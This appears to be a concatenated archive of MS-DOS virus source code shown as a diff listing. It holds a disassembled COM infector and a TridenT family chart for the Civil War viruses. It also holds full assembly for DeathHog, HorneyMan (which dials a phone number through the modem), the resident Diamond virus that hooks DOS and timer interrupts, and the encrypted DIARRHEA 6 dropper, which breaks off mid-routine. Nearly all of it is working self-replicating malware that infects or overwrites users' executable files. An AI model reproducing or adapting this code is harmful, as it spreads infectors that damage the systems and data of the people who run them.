0F28 B80143 MOV AX,4301 ; set attributes
0F2B BA9E00 MOV DX,009E ; fille name (in carrier DTA!)
0F2E 33C9 XOR CX,CX ; ?? again ??
0F30 CD21 INT 21
0F32 B8023D MOV AX,3D02 ; open file for read/write
0F35 BA9E00 MOV DX,009E ; file name
0F38 CD21 INT 21
0F3A 8BD8 MOV BX,AX ; store handle
0F3C 7301 JAE 0F3F ; no error
0F3E C3 RET
0F3F B43F MOV AH,3F ; read file
0F41 B90300 MOV CX,0003 ; 3 bytes
0F44 8BD6 MOV DX,SI ; virus base
0F46 81C2A703 ADD DX,03A7 ; buffer for oryginal 3 bytes
0F4A CD21 INT 21
0F4C 7305 JAE 0F53 ; no error
0F4E B43E MOV AH,3E ; close file
0F50 CD21 INT 21
0F52 C3 RET
0F53 B80042 MOV AX,4200 ; move file pointer
0F56 33C9 XOR CX,CX ; at the beginning
0F58 8BD1 MOV DX,CX ; of file
0F5A CD21 INT 21
0F5C A19A00 MOV AX,[009A] ; get file length
0F5F 2D0300 SUB AX,0003 ; sub first 3 bytes
0F62 2E CS:
0F63 8984AB03 MOV [SI+03AB],AX ; size of block to write
0F67 8BD6 MOV DX,SI
0F69 81C2AA03 ADD DX,03AA
0F6D B440 MOV AH,40 ; write to file
0F6F B90300 MOV CX,0003 ; new first 3 bytes
0F72 CD21 INT 21
0F74 7302 JAE 0F78 ; continue
0F76 EBD6 JMP 0F4E ; error, exit
0F78 B80242 MOV AX,4202 ; move file pointer
0F7B 33C9 XOR CX,CX ; at the end
0F7D 8BD1 MOV DX,CX ; of file
0F7F CD21 INT 21
0F81 B440 MOV AH,40 ; write file
0F83 B9AD03 MOV CX,03AD ; number of bytes (941)
0F86 8BD6 MOV DX,SI ; address of virus first byte
0F88 CD21 INT 21
0F8A B43E MOV AH,3E ; close file
0F8C CD21 INT 21
0F8E C3 RET
;----------------------------------------------
; find file in current directory and infect it
0F8F B44E MOV AH,4E ; find first
0F91 B92300 MOV CX,0023 ; attributes: Archive, Hiden, Read Only
0F94 8BD6 MOV DX,SI
0F96 81C2A103 ADD DX,03A1 ; file name: *.COM
0F9A CD21 INT 21
0F9C 7303 JAE 0FA1 ; infect
0F9E EB0C JMP 0FAC ; RET
0FA0 90 NOP
0FA1 E882FF CALL 0F26 ; infect
0FA4 B44F MOV AH,4F ; find next
0FA6 CD21 INT 21
0FA8 7202 JB 0FAC ; RET
0FAA EBF5 JMP 0FA1 ; infect
0FAC C3 RET
0FAD 2A 2E 63 6F 6D 00 ; *.COM, 0
0FB3 E9 5C 07 ; oryginal 3 bytes of carrier COM file
; end of infected file
;----------------------
+67
View File
@@ -0,0 +1,67 @@
Relationchart of the Civil War and related viruses, (c) 1993 by TridenT.
Below you find the relation chart of the Civil War based viruses.
This is the only correct relationchart, don't trust the
information you may find in VSUM, F-Prot etc. or the CARO naming
because they contains a lot of errors
Greetings, DH / TridenT
------------------------------------------------------------------------------
Civil War
|
+--> Civil War II v1.0 --> Proto-T --> Lockjaw Eins
| | |
| | +--> Lockjaw Zwei
| | |
| | +--> Lockjaw Drei
| |
| +--> Civil War II v1.1 --> Civil War III
| |
| +--> Civil War V
|
+--> Civil War IV v1.0
|
+--> Civil War IV v1.1
|
+-> Civil War IV v1.2
|
+--> Civil War IV v1.3
Original Name CARO Name
------------------------------------------------------------------------------
Civil War Civil War
Civil War II v1.0 Proto-T.Civil_War_II
Civil War II v1.1 -
Civil War III -
Civil War IV v1.0 TPE_1_3.Civil_War.A
Civil War IV v1.1 TPE_1_3.Civil_War.B
Civil War IV v1.2 -
Civil War IV v1.3 -
Civil War V TPE_1_3.Civil_War.C
------------------------------------------------------------------------------
R C E P
--------
Civil War . x . .
Civil War II v1.0 x x . .
Civil War II v1.1 x x . .
Civil War III x x x .
Civil War IV v1.0 . x . x
Civil War IV v1.1 . x . x
Civil War IV v1.1 . x . x
Civil War IV v1.2 . x . x
Civil War IV v1.3 . x . x
Civil War V x x . x
Code : R = Resident
C = Infect COM files
E = Infect EXE files
P = Polymorpic
+64
View File
@@ -0,0 +1,64 @@
; DeathHog, (will defeat read-only files and appends itself to all
; files)
; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ
; r/w access, nuisance routines supplied by KOUCH
;
; Appended by Kouch, derived from DeathCow/Define (author unknown)
virus_length equ finish - start
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
start label near
main proc near
mov ah,04Eh ; DOS find first file function
mov dx,offset file_spec ; DX points to "*.*" - any file
int 021h
infect_file : mov ah,43H ;the beginning of this
mov al,0 ;routine gets the file's
mov dx,09Eh ;attribute and changes it
int 21H ;to r/w access so that when
;it comes time to open the
mov ah,43H ;file, the virus can easily
mov al,1 ;defeat files with a 'read only'
mov dx,09Eh ;attribute. It leaves the file r/w,
mov cl,0 ;because who checks that, anyway?
int 21H
mov ax,03D01h ; DOS open file function, write-only
mov dx,09Eh ; DX points to the found file
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cl,virus_length ; CL holds # of bytes to write
mov dx,offset main ; DX points to start of code
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc infect_file ; Infect next file, if found
mov ah,31h ;insert 480K memory balloon
mov dx,7530h ;for nuisance value
int 21H ;it's big enough so 'out of
;memory' messages will start cropping up quickly
; RETurn to DOS
file_spec db "*.*",0 ; Files to infect: apped to all files
main endp
finish label near
code ends
end main
+319
View File
@@ -0,0 +1,319 @@
; DIAL.ASM -- HorneyMan
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Frankenchrist
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
mov cx,0004h ; Do 4 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_hour
cmp ax,0004h ; Did the function return 4?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
xor dx,dx ; Clear DX
call serial_string
lea si,[di + data01] ; SI points to data
mov dx,0001h ; Second argument is 1
call serial_string
lea si,[di + data02] ; SI points to data
mov dx,0002h ; Second argument is 2
call serial_string
lea si,[di + data03] ; SI points to data
mov dx,0003h ; Second argument is 3
call serial_string
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + start] ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
serial_string proc near
mov ax,0000000001000011b ; BIOS init. serial port
int 014h ; (300 baud, N, 8, 1)
serial_loop: mov ah,1 ; BIOS send character function
lodsb ; Load next character into AL
or al,al ; Is it a NULL?
je serial_done ; If so then exit
int 014h ; Transmit the character
jmp short serial_loop ; Loop until string terminates
serial_done:
ret ; Return to caller
serial_string endp
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
data00 db "AT&FM0L0DT19008201110",13,10,0
data01 db "AT&FM0L0DT19008201110",13,10,0
data02 db "AT&FM0L0DT19008201110",13,10,0
data03 db "AT&FM0L0DT19008201110",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
finish label near
code ends
end main
+534
View File
@@ -0,0 +1,534 @@
; The Diamond Virus
;
; Version 2.10
;
; also known as:
; V1024, V651, The EGN Virus
;
; Basic release: 5-Aug-1989
; Last patch: 5-May-1990
;
; COPYRIGHT:
;
; This program is (c) Copyright 1989,1990 Damage, Inc.
; Permission is granted to distribute this source provided the tittle page is
; preserved.
; Any fee can be charged for distribution of this source, however, Damage, Inc.
; distributes it freely.
; You are specially prohibited to use this program for military purposes.
; Damage, Inc. is not liable for any kind of damages resulting from the use of
; or the inability to use this software.
;
; To assemble this program use Turbo Assembler 1.0
.radix 16
.model tiny
.code
code_len = top_code-main_entry
data_len = top_data-top_code
main_entry:
call locate_address
gen_count dw 0
locate_address:
xchg ax,bp
cld
pop bx
inc word ptr cs:[bx]
mov ax,0d5aa
int 21
cmp ax,2a03
jz all_done
mov ax,sp
inc ax
mov cl,4
shr ax,cl
inc ax
mov dx,ss
add ax,dx
mov dx,ds
dec dx
mov es,dx
xor di,di
mov cx,(top_data-main_entry-1)/10+1
mov dx,[di+2]
sub dx,cx
cmp dx,ax
jc all_done
cli
sub es:[di+3],cx
mov [di+2],dx
mov es,dx
lea si,[bx+main_entry-gen_count]
mov cx,top_code-main_entry
rep
db 2e
movsb
push ds
mov ds,cx
mov si,20
lea di,[di+old_vector-top_code]
org $-1
mov ax,offset dos_handler
xchg ax,[si+64]
stosw
mov ax,es
xchg ax,[si+66]
stosw
mov ax,offset time_handler
xchg ax,[si]
stosw
xchg ax,dx
xchg ax,[si+2]
stosw
mov ax,24
stosw
pop ds
push ds
pop es
sti
all_done:
lea si,[bx+exe_header-gen_count]
db 2e
lodsw
cmp ax,'ZM'
jz exit_exe
mov di,100
push di
stosw
movsb
xchg ax,bp
ret
exit_exe:
mov dx,ds
add dx,10
add cs:[si+return_address+2-exe_header-2],dx
org $-1
add dx,cs:[si+stack_offset+2-exe_header-2]
org $-1
mov ss,dx
mov sp,cs:[si+stack_offset-exe_header-2]
org $-1
xchg ax,bp
jmp dword ptr cs:[si+return_address-exe_header-2]
org $-1
infect:
mov dx,offset exe_header
mov cx,top_header-exe_header
mov ah,3f
int 21
jc do_exit
sub cx,ax
jnz go_error
mov di,offset exe_header
les ax,[di+ss_offset-exe_header]
org $-1
mov [di+stack_offset-exe_header],es
org $-1
mov [di+stack_offset+2-exe_header],ax
org $-1
les ax,[di+ip_offset-exe_header]
org $-1
mov [di+return_address-exe_header],ax
org $-1
mov [di+return_address+2-exe_header],es
org $-1
mov dx,cx
mov ax,4202
int 21
jc do_exit
mov [di+file_size-exe_header],ax
org $-1
mov [di+file_size+2-exe_header],dx
org $-1
mov cx,code_len
cmp ax,cx
sbb dx,0
jc do_exit
xor dx,dx
mov si,'ZM'
cmp si,[di]
jz do_put_image
cmp [di],'MZ'
jz do_put_image
cmp ax,0fe00-code_len
jc put_image
go_error:
stc
do_exit:
ret
do_put_image:
cmp dx,[di+max_size-exe_header]
org $-1
jz go_error
mov [di],si
put_image:
mov ah,40
int 21
jc do_exit
sub cx,ax
jnz go_error
mov dx,cx
mov ax,4200
int 21
jc do_exit
mov ax,[di+file_size-exe_header]
org $-1
cmp [di],'ZM'
jnz com_file
mov dx,[di+file_size-exe_header+2]
org $-1
mov cx,4
push di
mov si,[di+header_size-exe_header]
org $-1
xor di,di
shift_size:
shl si,1
rcl di,1
loop shift_size
sub ax,si
sbb dx,di
pop di
mov cl,0c
shl dx,cl
mov [di+ip_offset-exe_header],ax
org $-1
mov [di+cs_offset-exe_header],dx
org $-1
add dx,(code_len+data_len+100-1)/10+1
org $-1
mov [di+sp_offset-exe_header],ax
org $-1
mov [di+ss_offset-exe_header],dx
org $-1
add word ptr [di+min_size-exe_header],(data_len+100-1)/10+1
org $-2
mov ax,[di+min_size-exe_header]
org $-1
cmp ax,[di+max_size-exe_header]
org $-1
jc adjust_size
mov [di+max_size-exe_header],ax
org $-1
adjust_size:
mov ax,[di+last_page-exe_header]
org $-1
add ax,code_len
push ax
and ah,1
mov [di+last_page-exe_header],ax
org $-1
pop ax
mov cl,9
shr ax,cl
add [di+page_count-exe_header],ax
org $-1
jmp short put_header
com_file:
sub ax,3
mov byte ptr [di],0e9
mov [di+1],ax
put_header:
mov dx,offset exe_header
mov cx,top_header-exe_header
mov ah,40
int 21
jc error
cmp ax,cx
jz reset
error:
stc
reset:
ret
find_file:
pushf
push cs
call calldos
test al,al
jnz cant_find
push ax
push bx
push es
mov ah,51
int 21
mov es,bx
cmp bx,es:[16]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2f
int 21
pop ax
inc al
jnz fcb_standard
add bx,7
fcb_standard:
mov ax,es:[bx+17]
and ax,1f
xor al,1e
jnz not_infected
and byte ptr es:[bx+17],0e0
sub es:[bx+1dh],code_len
sbb es:[bx+1f],ax
not_infected:
pop es
pop bx
pop ax
cant_find:
iret
dos_handler:
cmp ah,4bh
jz exec
cmp ah,11
jz find_file
cmp ah,12
jz find_file
cmp ax,0d5aa
jnz calldos
not ax
fail:
mov al,3
iret
exec:
cmp al,2
jnc calldos
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
mov ax,3524
int 21
push es
push bx
mov ah,25
push ax
push ds
push dx
push cs
pop ds
mov dx,offset fail
int 21
pop dx
pop ds
mov ax,4300
int 21
jc exit
test cl,1
jz open
dec cx
mov ax,4301
int 21
open:
mov ax,3d02
int 21
jc exit
xchg ax,bx
mov ax,5700
int 21
jc close
mov al,cl
or cl,1f
dec cx
xor al,cl
jz close
push cs
pop ds
push cx
push dx
call infect
pop dx
pop cx
jc close
mov ax,5701
int 21
close:
mov ah,3e
int 21
exit:
pop ax
pop dx
pop ds
int 21
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
calldos:
jmp cs:[old_vector]
.radix 10
adrtbl dw 1680,1838,1840,1842,1996,1998,2000,2002,2004,2154,2156
dw 2158,2160,2162,2164,2166,2316,2318,2320,2322,2324,2478
dw 2480,2482,2640
diftbl dw -324,-322,-156,158,-318,-316,318,156,162,316,164,-322
dw -162,-322,322,322,-324,-158,164,316,-324,324,-316,-164
dw 324
valtbl dw 3332,3076,3076,3076,3588,3588,3588,3588,3588,3844,3844
dw 3844,3844,3844,3844,3844,2564,2564,2564,2564,2564,2820
dw 2820,2820,2308
xlatbl dw -324,316,-164,156,-322,318,-162,158,-318,322,-158,162
dw -316,324,-156,164
.radix 16
time_handler:
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
pop ds
cld
mov dx,3da
mov cx,19
mov si,offset count
mov ax,[si]
test ah,ah
jnz make_move
mov al,ah
mov es,ax
cmp al,es:[46dh]
jnz exit_timer
mov ah,0f
int 10
cmp al,2
jz init_diamond
cmp al,3
jnz exit_timer
init_diamond:
inc byte ptr [si+1]
sub bl,bl
add bh,0b8
mov [si+2],bx
mov es,bx
wait_snow:
in al,dx
test al,8
jz wait_snow
mov si,offset valtbl
build_diamond:
mov di,[si+adrtbl-valtbl]
movsw
loop build_diamond
exit_timer:
pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
jmp cs:[old_timer]
count_down:
dec byte ptr [si]
jmp exit_timer
make_move:
test al,al
jnz count_down
inc byte ptr [si]
mov si,offset adrtbl
make_step:
push cx
push cs
pop es
lodsw
mov bx,ax
sub ax,140
cmp ax,0d20
jc no_xlat
test ax,ax
mov ax,[si+diftbl-adrtbl-2]
jns test_xlat
test ax,ax
js do_xlat
jmp short no_xlat
test_xlat:
test ax,ax
js no_xlat
do_xlat:
mov di,offset xlatbl
mov cx,10
repnz scasw
dec di
dec di
xor di,2
mov ax,[di]
mov [si+diftbl-adrtbl-2],ax
no_xlat:
mov ax,[si-2]
add ax,[si+diftbl-adrtbl-2]
mov [si-2],ax
mov cx,19
mov di,offset adrtbl
lookup:
jcxz looked_up
repnz scasw
jnz looked_up
cmp si,di
jz lookup
mov [si-2],bx
mov ax,[si+diftbl-adrtbl-2]
xchg ax,[di+diftbl-adrtbl-2]
mov [si+diftbl-adrtbl-2],ax
jmp lookup
looked_up:
mov es,[homeadr]
mov di,bx
xor bx,bx
call out_char
mov di,[si-2]
mov bx,[si+valtbl-adrtbl-2]
call out_char
pop cx
loop make_step
jmp exit_timer
out_char:
in al,dx
test al,1
jnz out_char
check_snow:
in al,dx
test al,1
jz check_snow
xchg ax,bx
stosw
ret
stack_offset dd ?
return_address dd ?
db '7106286813'
exe_header: int 20
last_page: nop
top_code:
db ?
page_count dw ?
dw ?
header_size dw ?
min_size dw ?
max_size dw ?
ss_offset dw ?
sp_offset dw ?
dw ?
ip_offset dw ?
cs_offset dw ?
top_header:
file_size dd ?
old_vector dd ?
old_timer dd ?
count db ?
flag db ?
homeadr dw ?
top_data:
end

+452
View File
@@ -0,0 +1,452 @@
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
